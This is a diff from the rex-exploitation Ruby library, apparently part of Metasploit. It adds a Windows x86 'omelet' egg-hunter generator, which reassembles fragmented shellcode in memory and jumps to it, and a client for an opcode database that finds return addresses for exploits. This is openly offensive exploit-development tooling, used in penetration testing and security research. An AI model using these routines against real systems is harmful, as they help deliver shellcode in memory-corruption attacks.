rex-exploitation 0.1.0

data/lib/rex/exploitation/omelet.rb

@@ -0,0 +1,321 @@
+# -*- coding: binary -*-
+require 'rex/text'
+require 'rex/arch'
+require 'metasm'
+
+
+module Rex
+module Exploitation
+
+###
+#
+# This class provides an interface to generating an eggs-to-omelet hunter for win/x86.
+#
+# Written by corelanc0d3r <peter.ve@corelan.be>
+#
+###
+class Omelet
+
+  ###
+  #
+  # Windows-based eggs-to-omelet hunters
+  #
+  ###
+  module Windows
+    Alias = "win"
+
+    module X86
+      Alias = ARCH_X86
+
+      #
+      # The hunter stub for win/x86.
+      #
+      def hunter_stub
+        {
+          # option hash members go here (currently unused)
+        }
+      end
+
+    end
+  end
+
+  ###
+  #
+  # Generic interface
+  #
+  ###
+
+  #
+  # Creates a new hunter instance and acquires the sub-class that should
+  # be used for generating the stub based on the supplied platform and
+  # architecture.
+  #
+  def initialize(platform, arch = nil)
+    Omelet.constants.each { |c|
+      mod = self.class.const_get(c)
+
+      next if ((!mod.kind_of?(::Module)) or (!mod.const_defined?('Alias')))
+
+      if (platform =~ /#{mod.const_get('Alias')}/i)
+        self.extend(mod)
+
+        if (arch and mod)
+          mod.constants.each { |a|
+            amod = mod.const_get(a)
+
+            next if ((!amod.kind_of?(::Module)) or
+              (!amod.const_defined?('Alias')))
+
+            if (arch =~ /#{mod.const_get(a).const_get('Alias')}/i)
+                amod = mod.const_get(a)
+
+                self.extend(amod)
+              end
+            }
+          end
+        end
+      }
+    end
+
+    #
+    # This method generates an eggs-to-omelet hunter using the derived hunter stub.
+    #
+    def generate(payload, badchars = '', opts = {})
+
+      eggsize       = opts[:eggsize] || 123
+      eggtag        = opts[:eggtag] || "00w"
+      searchforward = opts[:searchforward] || true
+      reset         = opts[:reset]
+      startreg      = opts[:startreg]
+      usechecksum   = opts[:checksum]
+      adjust        = opts[:adjust] || 0
+
+      return nil if ((opts = hunter_stub) == nil)
+
+      # calculate number of eggs
+      payloadlen = payload.length
+      delta = payloadlen / eggsize
+      delta = delta * eggsize
+      nr_eggs = payloadlen / eggsize
+      if delta < payloadlen
+        nr_eggs = nr_eggs+1
+      end
+
+      nr_eggs_hex = "%02x" % nr_eggs
+      eggsize_hex = "%02x" % eggsize
+
+      hextag = ''
+      eggtag.each_byte do |thischar|
+        decchar = "%02x" % thischar
+        hextag = decchar + hextag
+      end
+      hextag = hextag + "01"
+
+      # search forward or backward ?
+      setflag      = nil
+      searchstub1  = nil
+      searchstub2  = nil
+      flipflagpre  = ''
+      flipflagpost = ''
+      checksum     = ''
+
+      if searchforward
+        # clear direction flag
+        setflag     = "cld"
+        searchstub1 = "dec edx\n\tdec edx\n\tdec edx\n\tdec edx"
+        searchstub2 = "inc edx"
+      else
+        # set the direction flag
+        setflag      = "std"
+        searchstub1  = "inc edx\n\tinc edx\n\tinc edx\n\tinc edx"
+        searchstub2  = "dec edx"
+        flipflagpre  = "cld\n\tsub esi,-8"
+        flipflagpost = "std"
+      end
+
+      # will we have to adjust the destination address ?
+      adjustdest = ''
+      if adjust > 0
+        adjustdest = "\n\tsub edi,#{adjust}"
+      elsif adjust < 0
+        adjustdest = "\n\tadd edi,#{adjust}"
+      end
+
+      # prepare the stub that starts the search
+      startstub = ''
+      if startreg
+        if startreg.downcase != 'ebp'
+          startstub << "mov ebp,#{startreg}"
+        end
+        startstub << "\n\t" if startstub.length > 0
+        startstub << "mov edx,ebp"
+      end
+      # a register will be used as start location for the search
+      startstub << "\n\t" if startstub.length > 0
+      startstub << "push esp\n\tpop edi\n\tor di,0xffff"
+      startstub << adjustdest
+      # edx will be used, start at end of stack frame
+      if not startreg
+        startstub << "\n\tmov edx,edi"
+        if reset
+          startstub << "\n\tpush edx\n\tpop ebp"
+        end
+      end
+
+      # reset start after each egg was found ?
+      # will allow to find eggs when they are out of order/sequence
+      resetstart = ''
+      if reset
+        resetstart = "push ebp\n\tpop edx"
+      end
+
+         		#checksum code by dijital1 & corelanc0d3r
+      if usechecksum
+        checksum = <<EOS
+  xor ecx,ecx
+  xor eax,eax
+calc_chksum_loop:
+  add al,byte [edx+ecx]
+  inc ecx
+  cmp cl, egg_size
+  jnz calc_chksum_loop
+test_chksum:
+  cmp al,byte [edx+ecx]
+  jnz find_egg
+EOS
+      end
+
+      # create omelet code
+      omelet_hunter = <<EOS
+
+  nr_eggs equ 0x#{nr_eggs_hex}	; number of eggs
+  egg_size equ 0x#{eggsize_hex} 	; nr bytes of payload per egg
+  hex_tag equ 0x#{hextag}		; tag
+
+  #{setflag}			; set/clear direction flag
+  jmp start
+
+  ; routine to calculate the target location
+  ; for writing recombined shellcode (omelet)
+  ; I'll use EDI as target location
+  ; First, I'll make EDI point to end of stack
+  ; and I'll put the number of shellcode eggs in eax
+get_target_loc:
+  #{startstub}		; use edx as start location for the search
+  xor eax,eax		; zero eax
+  mov al,nr_eggs		; put number of eggs in eax
+
+calc_target_loc:
+  xor esi,esi		; use esi as counter to step back
+  mov si,0-(egg_size+20)	; add 20 bytes of extra space, per egg
+
+get_target_loc_loop:	; start loop
+  dec edi		; step back
+  inc esi		; and update ESI counter
+  cmp si,-1	; continue to step back until ESI = -1
+  jnz get_target_loc_loop
+  dec eax		; loop again if we did not take all pieces
+               ; into account yet
+  jnz calc_target_loc
+
+  ; edi now contains target location
+  ; for recombined shellcode
+  xor ebx,ebx		; put loop counter in ebx
+  mov bl,nr_eggs+1
+  ret
+
+start:
+  call get_target_loc	; jump to routine which will calculate shellcode dst address
+
+  ; start looking for eggs, using edx as basepointer
+  jmp search_next_address
+
+find_egg:
+  #{searchstub1}		; based on search direction
+
+search_next_address:
+  #{searchstub2}		; based on search direction
+  push edx		; save edx
+  push 0x02   ; use NtAccessCheckAndAuditAlarm syscall
+  pop eax		; set eax to 0x02
+  int 0x2e
+  cmp al,0x5		; address readable ?
+  pop edx		; restore edx
+  je search_next_address  ; if addressss is not readable, go to next address
+
+  mov eax,hex_tag	; if address is readable, prepare tag in eax
+  add eax,ebx		; add offset (ebx contains egg counter, remember ?)
+  xchg edi,edx		; switch edx/edi
+  scasd			; edi points to the tag ?
+  xchg edi,edx		; switch edx/edi back
+  jnz find_egg		; if tag was not found, go to next address
+  ;found the tag at edx
+
+   ;do we need to verify checksum ? (prevents finding corrupted eggs)
+   #{checksum}
+
+copy_egg:
+  ; ecx must first be set to egg_size (used by rep instruction) and esi as source
+  mov esi,edx		; set ESI = EDX (needed for rep instruction)
+  xor ecx,ecx
+  mov cl,egg_size	; set copy counter
+  #{flipflagpre}		; flip destination flag if necessary
+  rep movsb		; copy egg from ESI to EDI
+  #{flipflagpost}		; flip destination flag again if necessary
+  dec ebx		; decrement egg
+  #{resetstart}		; reset start location if necessary
+  cmp bl,1		; found all eggs ?
+  jnz find_egg		; no = look for next egg
+  ; done - all eggs have been found and copied
+
+done:
+  call get_target_loc	; re-calculate location where recombined shellcode is placed
+  cld
+  jmp edi		; and jump to it :)
+EOS
+
+      the_omelet = Metasm::Shellcode.assemble(Metasm::Ia32.new, omelet_hunter).encode_string
+
+      # create the eggs array
+      total_size = eggsize * nr_eggs
+      padlen = total_size - payloadlen
+      payloadpadding = "A" * padlen
+
+      fullcode = payload + payloadpadding
+      eggcnt = nr_eggs + 2
+      startcode = 0
+
+      eggs = []
+      while eggcnt > 2 do
+        egg_prep = eggcnt.chr + eggtag
+        this_egg = fullcode[startcode, eggsize]
+            if usechecksum
+          cksum = 0
+          this_egg.each_byte { |b|
+            cksum += b
+          }
+          this_egg << [cksum & 0xff].pack('C')
+        end
+
+        this_egg = egg_prep + this_egg
+        eggs << this_egg
+
+        eggcnt -= 1
+        startcode += eggsize
+      end
+
+      return [ the_omelet, eggs ]
+    end
+
+protected
+
+  #
+  # Stub method that is meant to be overridden.  It returns the raw stub that
+  # should be used as the omelet maker (combine the eggs).
+  #
+  def hunter_stub
+  end
+
+end
+end
+end

data/lib/rex/exploitation/opcodedb.rb

@@ -0,0 +1,819 @@
+# -*- coding: binary -*-
+require 'rexml/rexml'
+require 'rexml/source'
+require 'rexml/document'
+require 'rexml/parsers/treeparser'
+require 'rex/proto/http'
+require 'uri'
+
+module Rex
+module Exploitation
+module OpcodeDb
+
+module OpcodeResult # :nodoc:
+  def initialize(hash)
+    @hash = hash
+  end
+  attr_reader :hash
+end
+
+###
+#
+# A cachable entry.
+#
+###
+module Cachable
+
+  def create(hash) # :nodoc:
+    @Cache = {} unless (@Cache)
+    if (hash_key(hash) and @Cache[hash_key(hash)])
+      @Cache[hash_key(hash)]
+    else
+      @Cache[hash_key(hash)] = self.new(hash)
+    end
+  end
+
+  def hash_key(hash) # :nodoc:
+    hash['id'] || nil
+  end
+
+  def flush_cache # :nodoc:
+    @Cache.clear
+  end
+
+end
+
+###
+#
+# This class provides a general interface to items that come from that opcode
+# database that have a symbolic entry identifier and name.
+#
+###
+module DbEntry
+  include OpcodeResult
+
+  def initialize(hash)
+    super
+
+    @id   = hash['id'].to_i
+    @name = hash['name']
+  end
+
+  #
+  # Fields that could possibly be filtered on for this database entry.
+  #
+  def filter_hash
+    {
+      "id"   => id,
+      "name" => name
+    }
+  end
+
+  #
+  # The unique server identifier.
+  #
+  attr_reader :id
+  #
+  # The unique name for this entry.
+  #
+  attr_reader :name
+end
+
+###
+#
+# This class represents a particular image module including its name,
+# segments, imports, exports, base address, and so on.
+#
+###
+class ImageModule
+  include DbEntry
+
+  ###
+  #
+  # This class contains information about a module-associated segment.
+  #
+  ###
+  class Segment
+    def initialize(hash)
+      @type = hash['type']
+      @base_address = hash['base_address'].to_i
+      @size         = hash['segment_size'].to_i
+      @writable     = hash['writable'] == "true" ? true : false
+      @readable     = hash['readable'] == "true" ? true : false
+      @executable   = hash['executable'] == "true" ? true : false
+    end
+
+    #
+    # The type of the segment, such as ".text".
+    #
+    attr_reader :type
+    #
+    # The base address of the segment.
+    #
+    attr_reader :base_address
+    #
+    # The size of the segment in bytes.
+    #
+    attr_reader :size
+    #
+    # Boolean that indicates whether or not the segment is writable.
+    #
+    attr_reader :writable
+    #
+    # Boolean that indicates whether or not the segment is readable.
+    #
+    attr_reader :readable
+    #
+    # Boolean that indicates whether or not the segment is executable.
+    #
+    attr_reader :executable
+  end
+
+  ###
+  #
+  # This class contains information about a module-associated import.
+  #
+  ###
+  class Import
+    def initialize(hash)
+      @name    = hash['name']
+      @address = hash['address'].to_i
+      @ordinal = hash['ordinal'].to_i
+    end
+
+    #
+    # The name of the imported function.
+    #
+    attr_reader :name
+    #
+    # The address of the function pointer in the IAT.
+    #
+    attr_reader :address
+    #
+    # The ordinal of the imported symbol.
+    #
+    attr_reader :ordinal
+  end
+
+  ###
+  #
+  # This class contains information about a module-associated export.
+  #
+  ###
+  class Export
+    def initialize(hash)
+      @name    = hash['name']
+      @address = hash['address'].to_i
+      @ordinal = hash['ordinal'].to_i
+    end
+
+    #
+    # The name of the exported function.
+    #
+    attr_reader :name
+    #
+    # The address of the exported function.
+    #
+    attr_reader :address
+    #
+    # The ordinal of the exported symbol.
+    #
+    attr_reader :ordinal
+  end
+
+  class <<self
+    include Cachable
+    def hash_key(hash) # :nodoc:
+      (hash['id'] || '') +
+      (hash['segments'] || '').to_s +
+      (hash['exports'] || '').to_s +
+      (hash['imports'] || '').to_s
+    end
+  end
+
+  def initialize(hash)
+    super
+
+    @locale       = Locale.create(hash['locale'])
+    @maj_maj_ver  = hash['maj_maj_ver'].to_i
+    @maj_min_ver  = hash['maj_min_ver'].to_i
+    @min_maj_ver  = hash['min_maj_ver'].to_i
+    @min_min_ver  = hash['min_min_ver'].to_i
+    @timestamp    = Time.at(hash['timestamp'].to_i)
+    @vendor       = hash['vendor']
+    @base_address = hash['base_address'].to_i
+    @image_size   = hash['image_size'].to_i
+
+    @segments     = hash['segments'].map { |ent|
+      Segment.new(ent)
+    } if (hash['segments'])
+    @imports     = hash['imports'].map { |ent|
+      Import.new(ent)
+    } if (hash['imports'])
+    @exports     = hash['exports'].map { |ent|
+      Export.new(ent)
+    } if (hash['exports'])
+    @platforms   = hash['platforms'].map { |ent|
+      OsVersion.create(ent)
+    } if (hash['platforms'])
+
+    @segments  = [] unless(@segments)
+    @imports   = [] unless(@imports)
+    @exports   = [] unless(@exports)
+    @platforms = [] unless(@platforms)
+  end
+
+  #
+  # An instance of a Locale class that is associated with this module.
+  #
+  attr_reader :locale
+  #
+  # The module's major major version number (X.x.x.x).
+  #
+  attr_reader :maj_maj_ver
+  #
+  # The module's major minor version number (x.X.x.x).
+  #
+  attr_reader :maj_min_ver
+  #
+  # The module's minor major version number (x.x.X.x).
+  #
+  attr_reader :min_maj_ver
+  #
+  # The module's minor minor version number (x.x.x.X).
+  #
+  attr_reader :min_min_ver
+  #
+  # The timestamp that the image was compiled (as a Time instance).
+  #
+  attr_reader :timestamp
+  #
+  # The vendor that created the module.
+  #
+  attr_reader :vendor
+  #
+  # The preferred base address at which the module will load.
+  #
+  attr_reader :base_address
+  #
+  # The size of the image mapping associated with the module in bytes.
+  #
+  attr_reader :image_size
+  #
+  # An array of Segment instances.
+  #
+  attr_reader :segments
+  #
+  # An array of Import instances.
+  #
+  attr_reader :imports
+  #
+  # An array of Export instances.
+  #
+  attr_reader :exports
+  #
+  # An array of OsVersion instances.
+  #
+  attr_reader :platforms
+end
+
+###
+#
+# This class contains information about a specific locale, such as English.
+#
+###
+class Locale
+  include DbEntry
+  class <<self
+    include Cachable
+  end
+end
+
+###
+#
+# This class contains information about a platform (operating system) version.
+#
+###
+class OsVersion
+  include DbEntry
+
+  class <<self
+    include Cachable
+    def hash_key(hash)
+      hash['id'] + (hash['modules'] || '')
+    end
+  end
+
+  def initialize(hash)
+    super
+
+    @modules = (hash['modules']) ? hash['modules'].to_i : 0
+    @desc    = hash['desc']
+    @arch    = hash['arch']
+    @maj_ver = hash['maj_ver'].to_i
+    @min_ver = hash['min_ver'].to_i
+    @maj_patch_level = hash['maj_patch_level'].to_i
+    @min_patch_level = hash['min_patch_level'].to_i
+  end
+
+  #
+  # The number of modules that exist in this operating system version.
+  #
+  attr_reader :modules
+  #
+  # The operating system version description, such as Windows XP 5.2.0.0
+  # (IA32).
+  #
+  attr_reader :desc
+  #
+  # The architecture that the operating system version runs on, such as IA32.
+  #
+  attr_reader :arch
+  #
+  # The major version of the operating system version.
+  #
+  attr_reader :maj_ver
+  #
+  # The minor version of the operating system version.
+  #
+  attr_reader :min_ver
+  #
+  # The major patch level of the operating system version, such as a service
+  # pack.
+  #
+  attr_reader :maj_patch_level
+  #
+  # The minor patch level of the operating system version.
+  #
+  attr_reader :min_patch_level
+end
+
+###
+#
+# An opcode group (esp => eip).
+#
+###
+class Group
+  include DbEntry
+  class <<self
+    include Cachable
+  end
+end
+
+###
+#
+# An opcode type (jmp esp).
+#
+###
+class Type
+  include DbEntry
+
+  class <<self
+    include Cachable
+  end
+
+  def initialize(hash)
+    super
+
+    @opcodes   = (hash['opcodes']) ? hash['opcodes'].to_i : 0
+    @meta_type = MetaType.create(hash['meta_type']) if (hash['meta_type'])
+    @group     = Group.create(hash['group']) if (hash['group'])
+    @arch      = hash['arch']
+  end
+
+  #
+  # The number of opcodes associated with this type, or 0 if this information
+  # is not available.
+  #
+  attr_reader :opcodes
+  #
+  # An instance of the MetaType to which this opcode type belongs, or nil.
+  #
+  attr_reader :meta_type
+  #
+  # An instance of the Group to which this opcode type belongs, or nil.
+  #
+  attr_reader :group
+  #
+  # The architecture that this opcode type is associated with.
+  #
+  attr_reader :arch
+end
+
+###
+#
+# An opcode meta type (jmp reg).
+#
+###
+class MetaType
+  include DbEntry
+  class <<self
+    include Cachable
+  end
+end
+
+###
+#
+# An opcode that has a specific address and is associated with one or more
+# modules.
+#
+###
+class Opcode
+  include DbEntry
+
+  def initialize(hash)
+    super
+
+    @address = hash['address'].to_i
+    @type    = Type.create(hash['type'])
+    @group   = @type.group
+    @modules = hash['modules'].map { |ent|
+      ImageModule.create(ent)
+    } if (hash['modules'])
+
+    @modules = [] unless(@modules)
+  end
+
+  #
+  # The address of the opcode.
+  #
+  attr_reader :address
+  #
+  # The type of the opcode indicating which instruction is found at the
+  # address.  This is an instance of the Type class.
+  #
+  attr_reader :type
+  #
+  # A Group instance that reflects the group to which the opcode type found
+  # at the instance's address belongs.
+  #
+  attr_reader :group
+  #
+  # An array of ImageModule instances that show the modules that contain this
+  # address.
+  #
+  attr_reader :modules
+end
+
+###
+#
+# Current statistics of the opcode database.
+#
+###
+class Statistics
+  def initialize(hash)
+    @modules         = hash['modules'].to_i
+    @opcodes         = hash['opcodes'].to_i
+    @opcode_types    = hash['opcode_types'].to_i
+    @platforms       = hash['platforms'].to_i
+    @architectures   = hash['architectures'].to_i
+    @module_segments = hash['module_segments'].to_i
+    @module_imports  = hash['module_imports'].to_i
+    @module_exports  = hash['module_exports'].to_i
+    @last_update     = Time.at(hash['last_update'].to_i)
+  end
+
+  #
+  # The number of modules found within the opcode database.
+  #
+  attr_reader :modules
+  #
+  # The number of opcodes supported by the opcode database.
+  #
+  attr_reader :opcodes
+  #
+  # The number of opcode types supported by the database.
+  #
+  attr_reader :opcode_types
+  #
+  # The number of platforms supported by the database.
+  #
+  attr_reader :platforms
+  #
+  # The number of architectures supported by the database.
+  #
+  attr_reader :architectures
+  #
+  # The number of module segments supported by the database.
+  #
+  attr_reader :module_segments
+  #
+  # The number of module imports supported by the database.
+  #
+  attr_reader :module_imports
+  #
+  # The number of module exports supported by the database.
+  #
+  attr_reader :module_exports
+  #
+  # The time at which the last database update occurred.
+  #
+  attr_reader :last_update
+end
+
+###
+#
+# This class implements a client interface to the Metasploit Opcode Database.
+# It is intended to be used as a method of locating reliable return addresses
+# given a set of executable files and a set of usable opcodes.
+#
+###
+class Client
+
+  DefaultServerHost = "www.metasploit.com"
+  DefaultServerPort = 80
+  DefaultServerUri  = "/users/opcode/msfopcode_server.cgi"
+
+  #
+  # Returns an instance of an initialized client that will use the supplied
+  # server values.
+  #
+  def initialize(host = DefaultServerHost, port = DefaultServerPort, uri = DefaultServerUri)
+    self.server_host = host
+    self.server_port = port
+    self.server_uri  = uri
+  end
+
+  #
+  # Disables response parsing.
+  #
+  def disable_parse
+    @disable_parse = true
+  end
+
+  #
+  # Enables response parsing.
+  #
+  def enable_parse
+    @disable_parse = false
+  end
+
+  #
+  # Returns an array of MetaType instances.
+  #
+  def meta_types
+    request('meta_types').map { |ent| MetaType.create(ent) }
+  end
+
+  #
+  # Returns an array of Group instances.
+  #
+  def groups
+    request('groups').map { |ent| Group.create(ent) }
+  end
+
+  #
+  # Returns an array of Type instances.  Opcode types are specific opcodes,
+  # such as a jmp esp.  Optionally, a filter hash can be passed to include
+  # extra information in the results.
+  #
+  # Statistics (Bool)
+  #
+  # 	If this hash element is set to true, the number of opcodes currently in
+  # 	the database of this type will be returned.
+  #
+  def types(filter = {})
+    request('types', filter).map { |ent| Type.create(ent) }
+  end
+
+  #
+  # Returns an array of OsVersion instances.  OS versions are associated with
+  # a particular operating system release (including service packs).
+  # Optionally, a filter hash can be passed to limit the number of results
+  # returned.  If no filter hash is supplied, all results are returned.
+  #
+  # Names (Array)
+  #
+  # 	If this hash element is specified, only the operating systems that
+  # 	contain one or more of the names specified will be returned.
+  #
+  # Statistics (Bool)
+  #
+  # 	If this hash element is set to true, the number of modules associated
+  # 	with this matched operating system versions will be returned.
+  #
+  def platforms(filter = {})
+    request('platforms', filter).map { |ent| OsVersion.create(ent) }
+  end
+
+  #
+  # Returns an array of ImageModule instances.  Image modules are
+  # version-specific, locale-specific, and operating system version specific
+  # image files.  Modules have opcodes, segments, imports and exports
+  # associated with them.  Optionally, a filter hash can be specified to
+  # limit the number of results returned from the database.  If no filter
+  # hash is supplied, all modules will be returned.
+  #
+  # LocaleNames (Array)
+  #
+  # 	This hash element limits results to one or more specific locale by name.
+  #
+  # PlatformNames (Array)
+  #
+  # 	This hash element limits results to one or more specific platform by
+  # 	name.
+  #
+  # ModuleNames (Array)
+  #
+  # 	This hash element limits results to one or more specific module by name.
+  #
+  # Segments (Bool)
+  #
+  # 	If this hash element is set to true, the segments associated with each
+  # 	resulting module will be returned by the server.
+  #
+  # Imports (Bool)
+  #
+  # 	If this hash element is set to true, the imports associated with each
+  # 	resulting module will be returned by the server.
+  #
+  # Exports (Bool)
+  #
+  # 	If this hash element is set to true, the exports associated with each
+  # 	resulting module will be returned by the server.
+  #
+  def modules(filter = {})
+    request('modules', filter).map { |ent| ImageModule.create(ent) }
+  end
+
+  #
+  # Returns an array of Locale instances that are supported by the server.
+  #
+  def locales
+    request('locales').map { |ent| Locale.create(ent) }
+  end
+
+  #
+  # Returns an array of Opcode instances that match the filter limitations
+  # specified in the supplied filter hash.  If no filter hash is specified,
+  # all opcodes will be returned (but are most likely going to be limited by
+  # the server).  The filter hash limiters that can be specified are:
+  #
+  # ModuleNames (Array)
+  #
+  # 	This hash element limits results to one or more specific modules by
+  # 	name.
+  #
+  # GroupNames (Array)
+  #
+  # 	This hash element limits results to one or more specific opcode group by
+  # 	name.
+  #
+  # TypeNames (Array)
+  #
+  # 	This hash element limits results to one or more specific opcode type by
+  # 	name.
+  #
+  # MetaTypeNames (Array)
+  #
+  # 	This hash element limits results to one or more specific opcode meta
+  # 	type by name.
+  #
+  # LocaleNames (Array)
+  #
+  # 	Limits results to one or more specific locale by name.
+  #
+  # PlatformNames (Array)
+  #
+  # 	Limits reslts to one or more specific operating system version by name.
+  #
+  # Addresses (Array)
+  #
+  # 	Limits results to a specific set of addresses.
+  #
+  # Portable (Bool)
+  #
+  # 	If this hash element is true, opcode results will be limited to ones
+  # 	that span more than one operating system version.
+  #
+  def search(filter = {})
+    request('search', filter).map { |ent| Opcode.new(ent) }
+  end
+
+  #
+  # Returns an instance of the Statistics class that holds information about
+  # the server's database stats.
+  #
+  def statistics
+    Statistics.new(request('statistics'))
+  end
+
+  #
+  # These attributes convey information about the remote server and can be
+  # changed in order to point it to a locate copy as necessary.
+  #
+  attr_accessor :server_host, :server_port, :server_uri
+
+  #
+  # Retrieves the last raw XML response to be processed.
+  #
+  attr_reader :last_xml
+
+protected
+
+  #
+  # Transmits a request to the Opcode database server and translates the
+  # response into a native general ruby datatype.
+  #
+  def request(method, opts = {})
+    client  = Rex::Proto::Http::Client.new(server_host, server_port)
+
+    begin
+
+      # Create the CGI parameter list
+      vars = { 'method' => method }
+
+      opts.each_pair do |k, v|
+        vars[k] = xlate_param(v)
+      end
+
+      client.set_config('uri_encode_mode' => 'none')
+
+      # Initialize the request with the POST body.
+      request = client.request_cgi(
+        'method'    => 'POST',
+        'uri'       => server_uri,
+        'vars_post' => vars
+      )
+
+      # Send the request and grab the response.
+      response = client.send_recv(request, 300)
+
+      # Non-200 return code?
+      if (response.code != 200)
+        raise RuntimeError, "Invalid response received from server."
+      end
+
+      # Convert the return value to the native type.
+      parse_response(response.body)
+    rescue ::SocketError
+      raise RuntimeError, "Could not communicate with the opcode service: #{$!.class} #{$!}"
+    ensure
+      client.close
+    end
+  end
+
+  #
+  # Translates a parameter into a flat CGI parameter string.
+  #
+  def xlate_param(v)
+    if (v.kind_of?(Array))
+      v.map { |ent|
+        xlate_param(ent)
+      }.join(',,')
+    elsif (v.kind_of?(Hash))
+      v.map { |k,v|
+        "#{URI.escape(k)}:#{xlate_param(v)}" if (v)
+      }.join(',,')
+    else
+      URI.escape(v.to_s)
+    end
+  end
+
+  #
+  # Translate the data type from a flat string to a ruby native type.
+  #
+  def parse_response(xml)
+    @last_xml = xml
+
+    if (!@disable_parse)
+      source = REXML::Source.new(xml)
+      doc    = REXML::Document.new
+
+      REXML::Parsers::TreeParser.new(source, doc).parse
+
+      translate_element(doc.root)
+    end
+  end
+
+  #
+  # Translate elements conveyed as data types.
+  #
+  def translate_element(element)
+    case element.name
+      when "Array"
+        return element.elements.map { |child| translate_element(child) }
+      when "Hash"
+        hsh = {}
+
+        element.each_element { |child|
+          if (e = child.elements[1])
+            v = translate_element(e)
+          else
+            v = child.text
+          end
+
+          hsh[child.attributes['name']] = v
+        }
+
+        return hsh
+      else
+        return element.text
+    end
+  end
+
+end
+
+end
+end
+end